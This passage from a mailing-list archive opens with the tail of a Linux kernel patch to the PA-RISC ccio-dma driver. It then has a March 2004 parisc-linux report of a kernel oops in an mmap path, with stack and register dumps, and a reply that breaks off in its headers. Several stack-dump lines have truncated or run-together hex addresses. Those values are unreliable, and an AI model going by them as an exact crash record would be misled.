@@ -237,12 +253,10 @@
 	unsigned long usingle_pages;
 	unsigned long usg_calls;
 	unsigned long usg_pages;
-
-	unsigned short cujo20_bug;
 #endif
+	unsigned short cujo20_bug;
 
 	/* STUFF We don't need in performance path */
-	u32 pdir_size; 			/* in bytes, determined by IOV Space size */
 	u32 chainid_shift; 		/* specify bit location of chain_id */
 	struct ioc *next;		/* Linked list of discovered iocs */
 	const char *name;		/* device name from firmware */
@@ -289,11 +303,11 @@
 ** If the search wraps around, and passes the res_hint, it will
 ** cause the kernel to panic anyhow.
 */
-#define CCIO_SEARCH_LOOP(ioc, res_idx, mask_ptr, size)  \
+#define CCIO_SEARCH_LOOP(ioc, res_idx, mask, size)  \
        for(; res_ptr < res_end; ++res_ptr) { \
-               if(0 == (*res_ptr & *mask_ptr)) { \
-                       *res_ptr |= *mask_ptr; \
-                       res_idx = (int)((unsigned long)res_ptr - (unsigned long)ioc->res_map); \
+               if(0 == (*res_ptr & mask)) { \
+                       *res_ptr |= mask; \
+                       res_idx = (unsigned int)((unsigned long)res_ptr - (unsigned long)ioc->res_map); \
                        ioc->res_hint = res_idx + (size >> 3); \
                        goto resource_found; \
                } \
@@ -302,10 +316,9 @@
 #define CCIO_FIND_FREE_MAPPING(ioa, res_idx, mask, size) \
        u##size *res_ptr = (u##size *)&((ioc)->res_map[ioa->res_hint & ~((size >> 3) - 1)]); \
        u##size *res_end = (u##size *)&(ioc)->res_map[ioa->res_size]; \
-       u##size *mask_ptr = (u##size *)&mask; \
-       CCIO_SEARCH_LOOP(ioc, res_idx, mask_ptr, size); \
+       CCIO_SEARCH_LOOP(ioc, res_idx, mask, size); \
        res_ptr = (u##size *)&(ioc)->res_map[0]; \
-       CCIO_SEARCH_LOOP(ioa, res_idx, mask_ptr, size);
+       CCIO_SEARCH_LOOP(ioa, res_idx, mask, size);
 
 /*
 ** Find available bit in this ioa's resource map.
@@ -333,35 +346,45 @@
 static int
 ccio_alloc_range(struct ioc *ioc, unsigned long pages_needed)
 {
-	int res_idx;
-	unsigned long mask;
-#ifdef CONFIG_PROC_FS
+	unsigned int res_idx;
+#ifdef CCIO_SEARCH_TIME
 	unsigned long cr_start = mfctl(16);
 #endif
 	
 	ASSERT(pages_needed);
 	ASSERT((pages_needed * IOVP_SIZE) <= DMA_CHUNK_SIZE);
-	ASSERT(pages_needed <= BITS_PER_LONG);
-
-	mask = ~(~0UL >> pages_needed);
      
-	DBG_RES("%s() size: %d pages_needed %d mask 0x%08lx\n", 
-		__FUNCTION__, size, pages_needed, mask);
+	DBG_RES("%s() size: %d pages_needed %d\n", 
+		__FUNCTION__, size, pages_needed);
 
 	/*
 	** "seek and ye shall find"...praying never hurts either...
 	** ggg sacrifices another 710 to the computer gods.
 	*/
 
-	if(pages_needed <= 8) {
+	if (pages_needed <= 8) {
+		/*
+		 * LAN traffic will not thrash the TLB IFF the same NIC
+		 * uses 8 adjacent pages to map seperate payload data.
+		 * ie the same byte in the resource bit map.
+		 */
+#if 0
+		/* FIXME: bit search should shift it's way through
+		 * an unsigned long - not byte at a time. As it is now,
+		 * we effectively allocate this byte to this mapping.
+		 */
+		unsigned long mask = ~(~0UL >> pages_needed);
 		CCIO_FIND_FREE_MAPPING(ioc, res_idx, mask, 8);
-	} else if(pages_needed <= 16) {
-		CCIO_FIND_FREE_MAPPING(ioc, res_idx, mask, 16);
-	} else if(pages_needed <= 32) {
-		CCIO_FIND_FREE_MAPPING(ioc, res_idx, mask, 32);
+#else
+		CCIO_FIND_FREE_MAPPING(ioc, res_idx, 0xff, 8);
+#endif
+	} else if (pages_needed <= 16) {
+		CCIO_FIND_FREE_MAPPING(ioc, res_idx, 0xffff, 16);
+	} else if (pages_needed <= 32) {
+		CCIO_FIND_FREE_MAPPING(ioc, res_idx, ~(unsigned int)0, 32);
 #ifdef __LP64__
-	} else if(pages_needed <= 64) {
-		CCIO_FIND_FREE_MAPPING(ioc, res_idx, mask, 64);
+	} else if (pages_needed <= 64) {
+		CCIO_FIND_FREE_MAPPING(ioc, res_idx, ~0UL, 64);
 #endif
 	} else {
 		panic("%s: %s() Too many pages to map. pages_needed: %ld\n",
@@ -373,10 +396,10 @@
 	
 resource_found:
 	
-	DBG_RES("%s() res_idx %d mask 0x%08lx res_hint: %d\n",
-		__FUNCTION__, res_idx, mask, ioc->res_hint);
+	DBG_RES("%s() res_idx %d res_hint: %d\n",
+		__FUNCTION__, res_idx, ioc->res_hint);
 
-#ifdef CONFIG_PROC_FS
+#ifdef CCIO_SEARCH_TIME
 	{
 		unsigned long cr_end = mfctl(16);
 		unsigned long tmp = cr_end - cr_start;
@@ -385,10 +408,10 @@
 	}
 	ioc->avg_search[ioc->avg_idx++] = cr_start;
 	ioc->avg_idx &= CCIO_SEARCH_SAMPLE - 1;
-
+#endif
+#ifdef CCIO_MAP_STATS
 	ioc->used_pages += pages_needed;
 #endif
-
 	/* 
 	** return the bit address.
 	*/
@@ -397,9 +420,8 @@
 
 #define CCIO_FREE_MAPPINGS(ioc, res_idx, mask, size) \
         u##size *res_ptr = (u##size *)&((ioc)->res_map[res_idx]); \
-	u##size *mask_ptr = (u##size *)&mask; \
-        ASSERT((*res_ptr & *mask_ptr) == *mask_ptr); \
-        *res_ptr &= ~(*mask_ptr);
+        ASSERT((*res_ptr & mask) == mask); \
+        *res_ptr &= ~(mask);
 
 /**
  * ccio_free_range - Free pages from the ioc's resource map.
@@ -413,7 +435,6 @@
 static void
 ccio_free_range(struct ioc *ioc, dma_addr_t iova, unsigned long pages_mapped)
 {
-	unsigned long mask;
 	unsigned long iovp = CCIO_IOVP(iova);
 	unsigned int res_idx = PDIR_INDEX(iovp) >> 3;
 
@@ -421,24 +442,28 @@
 	ASSERT((pages_mapped * IOVP_SIZE) <= DMA_CHUNK_SIZE);
 	ASSERT(pages_mapped <= BITS_PER_LONG);
 
-	mask = ~(~0UL >> pages_mapped);
-
-	DBG_RES("%s():  res_idx: %d pages_mapped %d mask 0x%08lx\n", 
-		__FUNCTION__, res_idx, pages_mapped, mask);
+	DBG_RES("%s():  res_idx: %d pages_mapped %d\n", 
+		__FUNCTION__, res_idx, pages_mapped);
 
-#ifdef CONFIG_PROC_FS
+#ifdef CCIO_MAP_STATS
 	ioc->used_pages -= pages_mapped;
 #endif
 
 	if(pages_mapped <= 8) {
+#if 0
+		/* see matching comments in alloc_range */
+		unsigned long mask = ~(~0UL >> pages_mapped);
 		CCIO_FREE_MAPPINGS(ioc, res_idx, mask, 8);
+#else
+		CCIO_FREE_MAPPINGS(ioc, res_idx, 0xff, 8);
+#endif
 	} else if(pages_mapped <= 16) {
-		CCIO_FREE_MAPPINGS(ioc, res_idx, mask, 16);
+		CCIO_FREE_MAPPINGS(ioc, res_idx, 0xffff, 16);
 	} else if(pages_mapped <= 32) {
-		CCIO_FREE_MAPPINGS(ioc, res_idx, mask, 32);
+		CCIO_FREE_MAPPINGS(ioc, res_idx, ~(unsigned int)0, 32);
 #ifdef __LP64__
 	} else if(pages_mapped <= 64) {
-		CCIO_FREE_MAPPINGS(ioc, res_idx, mask, 64);
+		CCIO_FREE_MAPPINGS(ioc, res_idx, ~0UL, 64);
 #endif
 	} else {
 		panic("%s:%s() Too many pages to unmap.\n", __FILE__,
@@ -731,7 +756,7 @@
 	size = ROUNDUP(size + offset, IOVP_SIZE);
 	spin_lock_irqsave(&ioc->res_lock, flags);
 
-#ifdef CONFIG_PROC_FS
+#ifdef CCIO_MAP_STATS
 	ioc->msingle_calls++;
 	ioc->msingle_pages += size >> IOVP_SHIFT;
 #endif
@@ -795,7 +820,7 @@
 
 	spin_lock_irqsave(&ioc->res_lock, flags);
 
-#ifdef CONFIG_PROC_FS
+#ifdef CCIO_MAP_STATS
 	ioc->usingle_calls++;
 	ioc->usingle_pages += size >> IOVP_SHIFT;
 #endif
@@ -877,57 +902,58 @@
 {
 	struct scatterlist *dma_sg = startsg;	/* pointer to current DMA */
 	int n_mappings = 0;
-	u64 *pdirp = 0;
-	unsigned long dma_offset = 0;
+	unsigned long dma_offset = 0, dma_len = 0;
+	u64 *pdirp = NULL;
 
-	dma_sg--;
 	while (nents-- > 0) {
-		int cnt = sg_dma_len(startsg);
-		sg_dma_len(startsg) = 0;
+		unsigned long vaddr;
+		long size;
 
 		DBG_RUN_SG(" %d : %08lx/%05x %08lx/%05x\n", nents,
 			   (unsigned long)sg_dma_address(startsg), cnt,
 			   sg_virt_addr(startsg), startsg->length
 		);
 
+
 		/*
 		** Look for the start of a new DMA stream
 		*/
-		if(sg_dma_address(startsg) & PIDE_FLAG) {
+		
+		if (sg_dma_address(startsg) & PIDE_FLAG) {
 			u32 pide = sg_dma_address(startsg) & ~PIDE_FLAG;
+
+			if (pdirp) {
+				BUG_ON(dma_len != sg_dma_len(dma_sg));
+				dma_sg++;
+			}
+			dma_len = sg_dma_len(startsg);
 			dma_offset = (unsigned long) pide & ~IOVP_MASK;
-			sg_dma_address(startsg) = 0;
-			dma_sg++;
+			n_mappings++;
 			sg_dma_address(dma_sg) = pide;
 			pdirp = &(ioc->pdir_base[pide >> IOVP_SHIFT]);
-			n_mappings++;
 		}
-
-		/*
-		** Look for a VCONTIG chunk
-		*/
-		if (cnt) {
-			unsigned long vaddr = sg_virt_addr(startsg);
-			ASSERT(pdirp);
-
-			/* Since multiple Vcontig blocks could make up
-			** one DMA stream, *add* cnt to dma_len.
-			*/
-			sg_dma_len(dma_sg) += cnt;
-			cnt += dma_offset;
-			dma_offset=0;	/* only want offset on first chunk */
-			cnt = ROUNDUP(cnt, IOVP_SIZE);
-#ifdef CONFIG_PROC_FS
-			ioc->msg_pages += cnt >> IOVP_SHIFT;
-#endif
-			do {
-				ccio_io_pdir_entry(pdirp, KERNEL_SPACE, 
-						   (void *)vaddr, hint);
-				vaddr += IOVP_SIZE;
-				cnt -= IOVP_SIZE;
-				pdirp++;
-			} while (cnt > 0);
+		
+		BUG_ON(pdirp == NULL);
+		
+		sg_dma_len(startsg) = 0;
+		vaddr = sg_virt_addr(startsg);
+		sg_dma_len(dma_sg) += startsg->length;
+		size = startsg->length + dma_offset;
+		dma_offset = 0;
+		if (unlikely(size > IOVP_SIZE)) {
+			printk("VIRTUAL CHUNK has size 0x%lx\n",
+			       size);
 		}
+#ifdef CCIO_MAP_STATS
+		ioc->msg_pages += startsg->length >> IOVP_SHIFT;
+#endif
+		do {
+			ccio_io_pdir_entry(pdirp, KERNEL_SPACE, 
+					   (void *)vaddr, hint);
+			vaddr += IOVP_SIZE;
+			size -= IOVP_SIZE;
+			pdirp++;
+		} while(unlikely(size > 0));
 		startsg++;
 	}
 	return(n_mappings);
@@ -946,10 +972,7 @@
 static CCIO_INLINE int
 ccio_coalesce_chunks(struct ioc *ioc, struct scatterlist *startsg, int nents)
 {
-	struct scatterlist *vcontig_sg;    /* VCONTIG chunk head */
-	unsigned long vcontig_len;         /* len of VCONTIG chunk */
-	unsigned long vcontig_end;
-	struct scatterlist *dma_sg;        /* next DMA stream head */
+	struct scatterlist *contig_sg;	   /* contig chunk head */
 	unsigned long dma_offset, dma_len; /* start/len of DMA stream */
 	int n_mappings = 0;
 
@@ -958,9 +981,8 @@
 		/*
 		** Prepare for first/next DMA stream
 		*/
-		dma_sg = vcontig_sg = startsg;
-		dma_len = vcontig_len = vcontig_end = startsg->length;
-		vcontig_end += sg_virt_addr(startsg);
+		contig_sg = startsg;
+		dma_len = startsg->length;
 		dma_offset = sg_virt_addr(startsg) & ~IOVP_MASK;
 
 		/* PARANOID: clear entries */
@@ -972,7 +994,10 @@
 		** it's always looking one "ahead".
 		*/
 		while(--nents > 0) {
-			unsigned long startsg_end;
+			unsigned long prevstartsg_end, startsg_end;
+
+			prevstartsg_end = sg_virt_addr(startsg) +
+				startsg->length;
 
 			startsg++;
 			startsg_end = sg_virt_addr(startsg) + 
@@ -987,36 +1012,18 @@
 			** exceed DMA_CHUNK_SIZE if we coalesce the
 			** next entry.
 			*/   
-			if(ROUNDUP(dma_len + dma_offset + startsg->length,
-				   IOVP_SIZE) > DMA_CHUNK_SIZE)
+			if(unlikely(ROUNDUP(dma_len + dma_offset + startsg->length,
+					    IOVP_SIZE) > DMA_CHUNK_SIZE))
 				break;
 
 			/*
-			** Append the next transaction?
+			** Next see if we can append the next chunk (i.e.
+			** it must end on one page and begin on another
 			*/
-			if (vcontig_end == sg_virt_addr(startsg)) {
-				vcontig_len += startsg->length;
-				vcontig_end += startsg->length;
-				dma_len     += startsg->length;
-				continue;
-			}
-
-			/*
-			** Not virtually contigous.
-			** Terminate prev chunk.
-			** Start a new chunk.
-			**
-			** Once we start a new VCONTIG chunk, dma_offset
-			** can't change. And we need the offset from the first
-			** chunk - not the last one. Ergo Successive chunks
-			** must start on page boundaries and dove tail
-			** with its predecessor.
-			*/
-			sg_dma_len(vcontig_sg) = vcontig_len;
-
-			vcontig_sg = startsg;
-			vcontig_len = startsg->length;
-			break;
+			if (unlikely(((prevstartsg_end | sg_virt_addr(startsg)) & ~PAGE_MASK) != 0))
+				break;
+			
+			dma_len += startsg->length;
 		}
 
 		/*
@@ -1024,9 +1031,9 @@
 		** Terminate last VCONTIG block.
 		** Allocate space for DMA stream.
 		*/
-		sg_dma_len(vcontig_sg) = vcontig_len;
+		sg_dma_len(contig_sg) = dma_len;
 		dma_len = ROUNDUP(dma_len + dma_offset, IOVP_SIZE);
-		sg_dma_address(dma_sg) =
+		sg_dma_address(contig_sg) =
 			PIDE_FLAG 
 			| (ccio_alloc_range(ioc, (dma_len >> IOVP_SHIFT)) << IOVP_SHIFT)
 			| dma_offset;
@@ -1053,6 +1060,8 @@
 	int coalesced, filled = 0;
 	unsigned long flags;
 	unsigned long hint = hint_lookup[(int)direction];
+	unsigned long prev_len = 0, current_len = 0;
+	int i;
 	
 	BUG_ON(!dev);
 	ioc = GET_IOC(dev);
@@ -1067,10 +1076,13 @@
 		sg_dma_len(sglist) = sglist->length;
 		return 1;
 	}
+
+	for(i = 0; i < nents; i++)
+		prev_len += sglist[i].length;
 	
 	spin_lock_irqsave(&ioc->res_lock, flags);
 
-#ifdef CONFIG_PROC_FS
+#ifdef CCIO_MAP_STATS
 	ioc->msg_calls++;
 #endif
 
@@ -1096,9 +1108,15 @@
 
 	spin_unlock_irqrestore(&ioc->res_lock, flags);
 
-	ASSERT(coalesced == filled);
+	BUG_ON(coalesced != filled);
+
 	DBG_RUN_SG("%s() DONE %d mappings\n", __FUNCTION__, filled);
 
+	for (i = 0; i < filled; i++)
+		current_len += sg_dma_len(sglist + i);
+
+	BUG_ON(current_len != prev_len);
+
 	return filled;
 }
 
@@ -1123,13 +1141,13 @@
 	DBG_RUN_SG("%s() START %d entries,  %08lx,%x\n",
 		__FUNCTION__, nents, sg_virt_addr(sglist), sglist->length);
 
-#ifdef CONFIG_PROC_FS
+#ifdef CCIO_MAP_STATS
 	ioc->usg_calls++;
 #endif
 
 	while(sg_dma_len(sglist) && nents--) {
 
-#ifdef CONFIG_PROC_FS
+#ifdef CCIO_MAP_STATS
 		ioc->usg_pages += sg_dma_len(sglist) >> PAGE_SHIFT;
 #endif
 		ccio_unmap_single(dev, sg_dma_address(sglist),
@@ -1199,18 +1217,18 @@
 			      total_pages * 8, total_pages);
 		if (proc_append(tmp, len, &buf, &offset, &count))
 			break;
-		
+#ifdef CCIO_MAP_STATS
 		len = sprintf(tmp, "IO PDIR entries : %ld free  %ld used (%d%%)\n",
 			      total_pages - ioc->used_pages, ioc->used_pages,
 			      (int)(ioc->used_pages * 100 / total_pages));
 		if (proc_append(tmp, len, &buf, &offset, &count))
 			break;
-		
+#endif
 		len = sprintf(tmp, "Resource bitmap : %d bytes (%d pages)\n", 
 			ioc->res_size, total_pages);
 		if (proc_append(tmp, len, &buf, &offset, &count))
 			break;
-		
+#ifdef CCIO_SEARCH_TIME
 		min = max = ioc->avg_search[0];
 		for(j = 0; j < CCIO_SEARCH_SAMPLE; ++j) {
 			avg += ioc->avg_search[j];
@@ -1224,7 +1242,8 @@
 			      min, avg, max);
 		if (proc_append(tmp, len, &buf, &offset, &count))
 			break;
-
+#endif
+#ifdef CCIO_MAP_STATS
 		len = sprintf(tmp, "pci_map_single(): %8ld calls  %8ld pages (avg %d/1000)\n",
 			      ioc->msingle_calls, ioc->msingle_pages,
 			      (int)((ioc->msingle_pages * 1000)/ioc->msingle_calls));
@@ -1250,7 +1269,7 @@
 			      (int)((ioc->usg_pages * 1000)/ioc->usg_calls));
 		if (proc_append(tmp, len, &buf, &offset, &count))
 			break;

From - Thu Nov 08 21:31:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Wichert Akkerman <wichert@wiggy.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] another oops
Date: Wed, 3 Mar 2004 11:25:51 +0100
Lines: 133
Approved: news@gmane.org
Message-ID: <20040303102551.GC28450@wiggy.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623237 6275 80.91.229.3 (22 Nov 2014 02:27:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:17 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: wichert@levante.wiggy.net  Wed Mar  3 03:25:52 2004
Return-Path: <wichert@levante.wiggy.net>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mx1.wiggy.net (levante.wiggy.net [195.85.225.139])
	by dsl2.external.hp.com (Postfix) with ESMTP id 070004857
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  3 Mar 2004 03:25:52 -0700 (MST)
Original-Received: from wichert by mx1.wiggy.net with local (Exim 4.30)
	id 1AyTZX-0000o1-8j
	for parisc-linux@lists.parisc-linux.org; Wed, 03 Mar 2004 11:25:51 +0100
Mail-Followup-To: Wichert Akkerman <wichert@wiggy.net>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.5.5.1+cvs20040105i
Original-Sender: Wichert Akkerman <wichert@levante.wiggy.net>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 03 Mar 2004 10:25:52 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20978

This one seems to be a bit different: it happens in a mmap syscall and seems
to be VM related.

Wichert.

Stack Dump:
 000000008e1449f8:  000000008e1449f8 0000000010165550 0000000000000000 000000008e144500
 000000008e1449d8:  0000000000000000 00000000104652a0 000000000000000f 00000000000051e0
 000000008e1449b8:  00000000417ab588 000000001010618c 0000000000000001 00000000104652a0
 000000008e144998:  0000000089a43200 0000000089a43200 00000000104652a0 00000000881479c0
 000000008e144978:  00000000406a7ce7 00000000102ee270 000000008e144770 0000000012f8a7e0
 000000008e144958:  00000000104652a0 000000008e144588 0000000012f8a7e0 0000000000000000
 000000008e144938:  00000000103e33e8 000000000000000f 000000000000000f 000000000800000e
 000000008e144918:  00000000104652a0 0000000000000000 0000000000000010 00000000103e3248
 000000008e1448f8:  0000000000005180 0000000000001000 0000000000000000 0000000000100073
 000000008e1448d8:  0000000000000000 0000000012dabe60 00000000104652a0 00000000104652a0
 000008e1448b8:  0000000012dabe60 00000000103e3248 0000000000000000 0000000000000000
 000000008e144898:  0000000000000000 000000008e68e340 000000068e68e340 00000000104652a0
 000000008e144878:  000000008eeeb428 0000000010164d48 0000000000000001 00000000104652a0
 000000008e144858:  0000000012e3cff0 000000008e2d50c8 00000000104652a0 0000000089a43200
 000000008e144838:  00000000103e3248 000000001010c094 000000000800000f 00000000104652a0
 000000008e144818:  0000000000000000 0000000000000000 0000000000000000 00000000103e33d8
 000000008e1447f8:  00000000406a7a0f 0000000010165a18 0000000000000000 000000008e144319
 000000008e1447d8:  0000000010383a1d 0000000000000003 000000008e144319 0000000000000001
 000000008e1447b8:  000000008e14460b ffffffffffffffff 0000000000000001 00000000000051e0
 000000008e144798:  0000000000000000 00000000535300c0 000000000000000b 00000000104652a0
 000008e144778:  0000000000000000 0000000010234838 0000000089a43200 00000000104652a0
 000000008e144758:  0000000010176ee4 0000000010176ee0 0000000000000000 0000000000000000
 000000008e144738:  0000000000000000 0000000000000000 0000000000000000 0000000000000000
 000000008e144718:  0000000000020d80 0000000000000000 0000000000020d80 0000000000020d80
 000000008e1446f8:  000000000000ae34 0000000010189778 ffffffffffffffff ffffffffffffffff
 000000008e1446d8:  ffffffffffffffff ffffffffffffffff ffffffffffffffff 0000001c13275e80
 000000008e1446b8:  000000019999999a cccccccd0000001c 0000000010525d40 0000000000000000
 000000008e144698:  00000000104e7ec0 000000008fbf3178 00000000104652a0 0000000010525d40
 000000008e144678:  ffffffffffffffff 0000000010187a28 0000000000000802 00000000104652a0
 000000008e144658:  0000000013276000 0000000000000000 0000000000000802 0000000000000000
 000000e144638:  00000000104f8258 000000003ccbf700 0000000000000802 00000000104652a0
 000000008e144618:  0000000000000000 0000000000000000 0000000000000000 0000000000000000
 000000008e1445f8:  000000008f0700f0 000000008e144500 000000008e1444f0 0000000000000000
 000000008e1445d8:  00000000104652a0 0000000000005180 0000000000100073 0000000000000000
 000000008e1445b8:  0000000000000000 0000000000000001 0000000000100073 0000000000000000
 000000008e144598:  0000000000000000 0000000000000001 0000000000000000 0000000000000001
 000000008e144578:  0000000000000003 0000000000000000 0000000000000000 000000008f892080
 000000008e144558:  0000000040000000 0000000000000000 0000000040001000 00000000104652a0
 000000008e144538:  0000000000000000 0000000000100073 0000000000000000 0000000000001000
 000000008e144518:  0000000000005180 00000000101770b4 000000001046faa0 000000ff0804ff0f
 00000000844f8:  00000000001fe850 000000001010e280 000000008e144208 00000000104652a0
 000000008e1444d8:  00000000104652a0 00000000896b2000 0000000000001000 0000000000000801
 000000008e1444b8:  0000000000000000 00000000000001b6 0000000000000004 0000000b37336640
 000000008e144498:  00000000896b2005 000000008d890e80 0000000010525d40 00000000104652a0
 000000008e144478:  0000000000000001 0000000010177be0 00000000417ab588 0000000000088400
 000000008e144458:  0000000000100073 00000000104652a0 0000000000000000 0000000040000000
 000000008e144438:  0000000000001000 00000000104652a0 0000000000001000 000000008f892080
 000000008e144418:  0000000000000000 0000000000000012 0000000000000000 0000000000000001
 000000008e1443f8:  00000000104652a0 0000000010177a10 0000000000000000 000000008ed89210
 000000008e1443d8:  0000000000000000 000000008f073c60 0000000000000000 0000000000000622
 000000008e148:  0000000010390794 000000008e7ed140 00000000104652a0 0000000000000004
 000000008e144398:  0000000000000012 00000000104652a0 00000000104652a0 0000000000000000
 000000008e144378:  0000000000001000 0000000000000003 0000000000000000 0000000000000000
 000000008e144358:  0000000000000000 00000000417af050 0000000000000001 0000000000088400
 000000008e144338:  00000000417ab6c0 00000000417ab588 0000000000000017 000000000000000a
 000000008e144318:  000000008f0700f0 000000008f070100 000000008f0700c0 0000000000088400
 000000008e1442f8:  00000000417ab6c0 000000001010e338 0000000000007d92 4038e56f00000000
 000000008e1442d8:  4038e56f00000000 4045aa6c3b25d1f8 0000000000000008 0000100000000000
 000000008e1442b8:  000000000000025b 0000000000000000 0000000000000000 0000000000000000
 000000008e144298:  000081a400000001 0000000000000000 0000000000000802 00000000000007fe
 000000008e144270000000000000007 0000000010196fb4 000000008e144370 0000000000000001
 000000008e144258:  00000000104652a0 0000000000000008 0000000000088400 0000000000000017
 000000008e144238:  00000000104652a0 000000004072a108 000000000014b7e0 00000000000007fe
 000000008e144218:  0000000000000000 00000000417af050 000000000014b7e0 000000000000000a
 000000008e1441f8:  000000004072a108 000000001010e414 0000000000000008 0000000000001000
 000000008e1441d8:  0000000000000000 000000004038e56f 0000000000000000 000000004038e56f
 000000008e1441b8:  000000003b25d1f8 000000004045aa6c 000000000000025b 000000000014b7e0
 000000008e144198:  0000000000000000 0080000281a40001 0000000000007d92 0000000000001000
 000000008e144178:  0000000000000000 000000001010ce4c 0000000000000000 0000000000000000
 000000008e144158:  0000000000000013 0000000000000013 000000000008ac00 0000000000000008
 000000008e144138:  000000088400 0000000000067000 000000000014b5a8 000000004072a108
 000000008e144118:  00000000417af988 00000000405ba5e8 0000000000000001 00000000417aec50
 000000008e1440f8:  0000000000000000 000000001010c074 0000000000000000 0000000000000000
 000000008e1440d8:  0000000000000000 0000000000000000 0000000000000000 0000000000000000
 000000008e1440b8:  0000000000000000 0000000000000000 0000000000000000 0000000000000000
 000000008e144098:  0000000000000000 0000000000000000 0000000000000000 0000000000000000
 000000008e144078:  0000000000000000 0000000000000000 0000000000000000 0000000000000000
 000000008e144058:  0000000000000000 0000000000000000 0000000000000000 0000000000000000
 000000008e144038:  0000000000000000 0000000000000000 0000000000000000 0000000000000000
 000000008e144018:  0000000100000000 0000000000000000 00000000103de1d0

Kernel addresses on the stack:
 [<000010165550>] __rmqueue+0xd8/0x230
 [<00000000102ee270>] ip_finish_output+0x120/0x318
 [<0000000010164d48>] bad_range+0x70/0xb8
 [<0000000010165a18>] buffered_rmqueue+0xe0/0x1d0
 [<0000000010234838>] number+0x130/0x380
 [<0000000010189778>] get_empty_filp+0x80/0x180
 [<0000000010187a28>] dentry_open+0x1b0/0x2c0
 [<000000001010e280>] arch_get_unmapped_area+0x70/0x90
 [<0000000010177be0>] get_unmapped_area+0xa8/0xb0
 [<0000000010177a10>] do_mmap_pgoff+0x680/0x7a8
 [<000000001010e338>] do_mmap2+0x98/0x120
 [<0000000010196fb4>] sys_fstat64+0x54/0x60
 [<000000001010e414>] sys_mmap+0x2c/0x40
 [<000000001010ce4c>] syscall_exit+0x0/0x14
 [<000000001010c074>] intr_return+0x0/0x14


Kernel Fault: Code=15 regs=000000008e144500 (Addr=00000000000051e0)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001001111111100001111 Not tainted
r00-03  0000000000000000 000000001046faa0 00000000101770b4 0000000000005180
r04-07  0000000000001000 0000000000000000 0000000000100073 0000000000000000
r08-11  00000000104652a0 0000000040001000 0000000000000000 0000000040000000
r12-15  000000008f892080 0000000000000000 00000000000 0000000000000003
r16-19  0000000000000001 0000000000000000 0000000000000001 0000000000000000
r20-23  0000000000000000 0000000000100073 0000000000000001 0000000000000000
r24-27  0000000000000000 0000000000100073 0000000000005180 00000000104652a0
r28-31  0000000000000000 000000008e1444f0 000000008e144500 000000008f0700f0
sr0-3   0000000000020d80 0000000000020d80 0000000000000000 0000000000020d80
sr4-7   0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000010176ee0 0000000010176ee4
 IIR: 535300c0    ISR: 0000000000000000  IOR: 00000000000051e0
 CPU:        0   CR30: 000000008e144000 CR31: 0000000010434000
 ORIG_R28: 0000000010234838
 IAOQ[0]: can_vma_merge_before+0x0/0x68
 IAOQ[1]: can_vma_merge_before+0x4/0x68
 RP(r2): vma_merge+0xf4/0x3d0

-- 
Wichert Akkerman <wichert@wiggy.net>    It is simple to make things.
http://www.wiggy.net/                   It is hard to make things simple.



From - Thu Nov 08 21:31:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Wichert Akkerman <wichert@wiggy.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: another kernel oops
Date: Wed, 3 Mar 2004 11:26:56 +0100
Lines: 11
Approved: news@gmane.org
Message-ID: <20040303102656.GD28450@wiggy.net>
References: <20040302100622.GL2502@wiggy.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623237 6280 80.91.229.3 (22 Nov 2014 02:27:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:17 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: wichert@levante.wiggy.net  Wed Mar  3 03:26:57 2004
Return-Path: <wichert@levante.wiggy.net>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mx1.wiggy.net (levante.wiggy.net [195.85.225.139])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4ED0D4857
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  3 Mar 2004 03:26:57 -0700 (MST)
Original-Received: from wichert by mx1.wiggy.net with local (Exim 4.30)
	id 1AyTaa-0000oY-IM
	for parisc-linux@lists.parisc-linux.org; Wed, 03 Mar 2004 11:26:56 +0100
Mail-Followup-To: Wichert Akkerman <wichert@wiggy.net>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20040302100622.GL2502@wiggy.net>
User-Agent: Mutt/1.5.5.1+cvs20040105i
Original-Sender: Wichert Akkerman <wichert@levante.wiggy.net>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
